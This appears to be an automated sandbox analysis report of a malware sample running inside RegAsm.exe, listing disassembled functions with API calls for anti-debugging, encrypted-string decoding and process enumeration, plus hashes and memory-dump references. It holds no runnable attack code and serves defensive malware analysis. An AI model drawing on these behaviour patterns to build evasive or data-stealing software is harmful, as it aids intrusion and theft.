Function 1B508200 Relevance: 14.0, APIs: 9, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09d3eab9d81a605ea2364a0aabb3d9955ba765fc9b51bd33753bdfecab41d682
Instruction ID: 2bc78b00bb3030eda54bff3616216ecb47552252ae4f2e79a8b43db6b8a00dcc
Opcode Fuzzy Hash: 09d3eab9d81a605ea2364a0aabb3d9955ba765fc9b51bd33753bdfecab41d682
Instruction Fuzzy Hash: D502B372904311AFE7159F64C880F9BB7E8BF88354F044A2DFD8997250EB75D898CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1B545940 Relevance: 12.4, APIs: 8, Instructions: 391COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69f01358d128d33b91acc77ed51355a689f7d338455a012a8a4b9effc4497dfa
Instruction ID: 38c7d63cc03496debcdc4db3a80eb32b6021d1805d63a35497bf57b8361c38c3
Opcode Fuzzy Hash: 69f01358d128d33b91acc77ed51355a689f7d338455a012a8a4b9effc4497dfa
Instruction Fuzzy Hash: 92C19DB6E583415FF7008B18EC827DB7791EFC2318FA8096EE48587792F125E589C782

Uniqueness

Uniqueness Score: -1.00%

Function 1B5351D0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 141COMMON

Download Yara Rule

Strings

REPLACE INTO '%q'.'%q_data'(id, block) VALUES(?,?), xrefs: 1B535264
, xrefs: 1B535334

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: $REPLACE INTO '%q'.'%q_data'(id, block) VALUES(?,?)
API String ID: 0-69911113
Opcode ID: 9458b3e3ceccb54066d2899d2eb923e7a79d6cfefa17b3ab530e1ad53cde6eed
Instruction ID: e705c426d80f17a12d551d4a4d1d0dc0fae815a7f738e61e626543500514a081
Opcode Fuzzy Hash: 9458b3e3ceccb54066d2899d2eb923e7a79d6cfefa17b3ab530e1ad53cde6eed
Instruction Fuzzy Hash: D7417F75900201AFEB00DF29DC80B9AB7E5FF88359F45552CF98897321D771E951CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1B56D610 Relevance: 10.6, APIs: 7, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fd5a444f62547b55e1c478906cffc6cc5e8d8fd97acf4dcf33dab7dbce9423b
Instruction ID: 6a56ae5d6e70a0689fbdc48badb3a0cf3a6390a21fa3e3ffd3ff7aa575df7d77
Opcode Fuzzy Hash: 8fd5a444f62547b55e1c478906cffc6cc5e8d8fd97acf4dcf33dab7dbce9423b
Instruction Fuzzy Hash: FD41C575600742ABEB00DF25DC81A9BBBE4FF85354F00492CF96886250E771F956CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 004198D7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041C68A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041C69F
UnhandledExceptionFilter.KERNEL32(8d), ref: 0041C6AA
GetCurrentProcess.KERNEL32(C0000409), ref: 0041C6C6
TerminateProcess.KERNEL32(00000000), ref: 0041C6CD

Strings

8d, xrefs: 0041C6A5

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: 8d
API String ID: 2579439406-1695097073
Opcode ID: 501579846c98b79dfdc41dbc10fd7ca710d1f1853e0c7fab06eca341cb85e236
Instruction ID: 29083e86ca2694a7f10c409a7d679c9735fb943988e9ba888d217dedd6f199e7
Opcode Fuzzy Hash: 501579846c98b79dfdc41dbc10fd7ca710d1f1853e0c7fab06eca341cb85e236
Instruction Fuzzy Hash: 782105BCA10364DFE750DF15FC89A843BA2FB1A308F50242AEA0883A71D7765981CF0D

Uniqueness

Uniqueness Score: -1.00%

Function 1B4A4820 Relevance: 9.3, APIs: 6, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b2c758b08cce0e8f16afb74c9e3d2953090becedebfd64bd181cc6613b8d88f
Instruction ID: 3229d46080d934928f91c79a4410bb199f52b4ccd68276ac0a8340d469ebb7d4
Opcode Fuzzy Hash: 8b2c758b08cce0e8f16afb74c9e3d2953090becedebfd64bd181cc6613b8d88f
Instruction Fuzzy Hash: DBB17CB4904742ABD700CF36C885B9BB7F8BF99314F008A1DF89596680E775E598CF92

Uniqueness

Uniqueness Score: -1.00%

Function 1B4A5C70 Relevance: 9.1, APIs: 6, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43830c2c14d87b3ae716c7a1980d3d4f048575f12cac28b556fe9d979f0dcba0
Instruction ID: be85914d9292e52ed3c7db91de2024766dc8ba541275e77d5d99e58d3c39953d
Opcode Fuzzy Hash: 43830c2c14d87b3ae716c7a1980d3d4f048575f12cac28b556fe9d979f0dcba0
Instruction Fuzzy Hash: 7C4103B56043019FDB14DF24D984AA6B7E4FFA8210F10C46DE99287791E772F854CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1B529090 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5798ae4b9202250d167ed20a71de301ed6b801862d2e07e90c0f06658bbbc10
Instruction ID: c943329365608bcef356c2e7bc4497a4951ed6b6d4969745eab991e89950e3e3
Opcode Fuzzy Hash: e5798ae4b9202250d167ed20a71de301ed6b801862d2e07e90c0f06658bbbc10
Instruction Fuzzy Hash: 9E31ED75601200DFEB14CF2AD885AA6B7F5FF84365B4045BDE8428B3A2D722FC50CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0040832A Relevance: 9.1, APIs: 6, Instructions: 83stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00408351
lstrlenA.KERNEL32(00408656,00000001,?,00000014,00000000,00000000,?,00408656,00000014), ref: 0040836B
CryptStringToBinaryA.CRYPT32(00408656,00000000,?,00408656,00000014), ref: 00408375
memcpy.MSVCRT ref: 004083DD
lstrcat.KERNEL32(00424BDF,00424BE3), ref: 00408404
lstrcat.KERNEL32(00424BDF,00424BE6), ref: 0040841C

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlenmemcpymemset
String ID:
API String ID: 1498829745-0
Opcode ID: b61c0110c73c517540f519dc60546777611b21f8ea2271e5b20855ac2d69eb7e
Instruction ID: fcf93b584ce99b9c7f430d8060aaf8ed7b5880b91b5ab1036e2ccf4652505f26
Opcode Fuzzy Hash: b61c0110c73c517540f519dc60546777611b21f8ea2271e5b20855ac2d69eb7e
Instruction Fuzzy Hash: FB21697590022AEBDB009F94DD44AEE7BBCEB08344F10407AF905F2251EB349A059BA5

Uniqueness

Uniqueness Score: -1.00%

Function 1B4FE200 Relevance: 9.1, APIs: 6, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1138a4a1a112f6b40374673b640e377ff691bcec9c01edd2270a4c0152a97097
Instruction ID: 362dc68dafdc6aecccb094933f6386c3870f24bd9cb3224ba381382066653950
Opcode Fuzzy Hash: 1138a4a1a112f6b40374673b640e377ff691bcec9c01edd2270a4c0152a97097
Instruction Fuzzy Hash: 33113AB62053096BDB145B65AC42FEBF79CDF4C322F10442DF64552140EB76A81153A2

Uniqueness

Uniqueness Score: -1.00%

Function 004101A9 Relevance: 9.0, APIs: 6, Instructions: 45processCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004101AE
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004101D4
Process32First.KERNEL32(00000000,00000128), ref: 004101E4
Process32Next.KERNEL32(00000000,00000128), ref: 004101F6
StrCmpCA.SHLWAPI(?,?,?,?,00000000), ref: 0041020A
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 0041021D

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prologHandleNextSnapshotToolhelp32
String ID:
API String ID: 186290926-0
Opcode ID: 79aa73ca13b76d23adaab92a70814fb9e70b1240514686d4e12f26ad4a329d34
Instruction ID: aaaf54095221aa9f0fc4c5608e25412c37e27e1573ba808557da3deae7a4159d
Opcode Fuzzy Hash: 79aa73ca13b76d23adaab92a70814fb9e70b1240514686d4e12f26ad4a329d34
Instruction Fuzzy Hash: D1015A75900128ABDB219F95DC48ADEBBB9EF96350F204096F505E2210D7788F81CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 1B511FE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

REPLACE INTO '%q'.'%q_data'(id, block) VALUES(?,?), xrefs: 1B512001

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: REPLACE INTO '%q'.'%q_data'(id, block) VALUES(?,?)
API String ID: 0-914542581
Opcode ID: 0788a8cb4300df1d73a9a8e92d31a8e1a250c74af5bdc3701dbc4dc18e2a96db
Instruction ID: 55fc2a2e0e09cb8caf1d5032fb4e337b33ef94bfce563c1ea7e7a9c5b5757fbb
Opcode Fuzzy Hash: 0788a8cb4300df1d73a9a8e92d31a8e1a250c74af5bdc3701dbc4dc18e2a96db
Instruction Fuzzy Hash: 0721CEB5900205AFFB11AF69DC81F967BEEEF58394F004558F8889B111D363F860CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 1B683300 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,00000000,?,?,?,1B683688,?,00000000), ref: 1B683399
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,00000000,?,?,?,1B683688,?,00000000), ref: 1B6833C2
GetACP.KERNEL32(?,?,1B683688,?,00000000), ref: 1B6833D7

Strings

OCP, xrefs: 1B683354
ACP, xrefs: 1B68331E

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: dfa3e6b1570eacda34443177cbf96086393f97298584face2c088795e5b34245
Instruction ID: 02b60dad9058998549bb9f9427ebed67f2773473b30bd0c64c07e2ca17a5da6a
Opcode Fuzzy Hash: dfa3e6b1570eacda34443177cbf96086393f97298584face2c088795e5b34245
Instruction Fuzzy Hash: EA21A7B2B04385EBD7258F54C985ACB73AAFF74E50B468464F949DB224EF32D940C390

Uniqueness

Uniqueness Score: -1.00%

Function 0040628E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,EY@,00000000,00000000), ref: 004062AE
LocalAlloc.KERNEL32(00000040,EY@,?,?,00405945,00000000,?,?), ref: 004062BC
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,EY@,00000000,00000000), ref: 004062D2
LocalFree.KERNEL32(00000000,?,?,00405945,00000000,?,?), ref: 004062E1

Strings

EY@, xrefs: 00406298, 0040629F, 004062B8, 004062CA

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: EY@
API String ID: 4291131564-2494902708
Opcode ID: 5e238f24b81681bd1e218dc304b4b0d5aee478eb474be9148ccb694fddff89b6
Instruction ID: 43e50b12db5afe856a27d0bb544b4c294b41ea24d0f69f4703884080ee459dc8
Opcode Fuzzy Hash: 5e238f24b81681bd1e218dc304b4b0d5aee478eb474be9148ccb694fddff89b6
Instruction Fuzzy Hash: 4901E878501234BFDB215F56DC88E8B7FB9EF4ABA0B104066FA09A6250D3718950CBF4

Uniqueness

Uniqueness Score: -1.00%

Function 1B493AA3 Relevance: 7.7, APIs: 5, Instructions: 183COMMON

Download Yara Rule

APIs

GetUserDefaultLCID.KERNEL32 ref: 1B68365A
IsValidCodePage.KERNEL32(00000000), ref: 1B683698
IsValidLocale.KERNEL32(?,00000001), ref: 1B6836AB
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040), ref: 1B6836F3
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 1B68370E

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
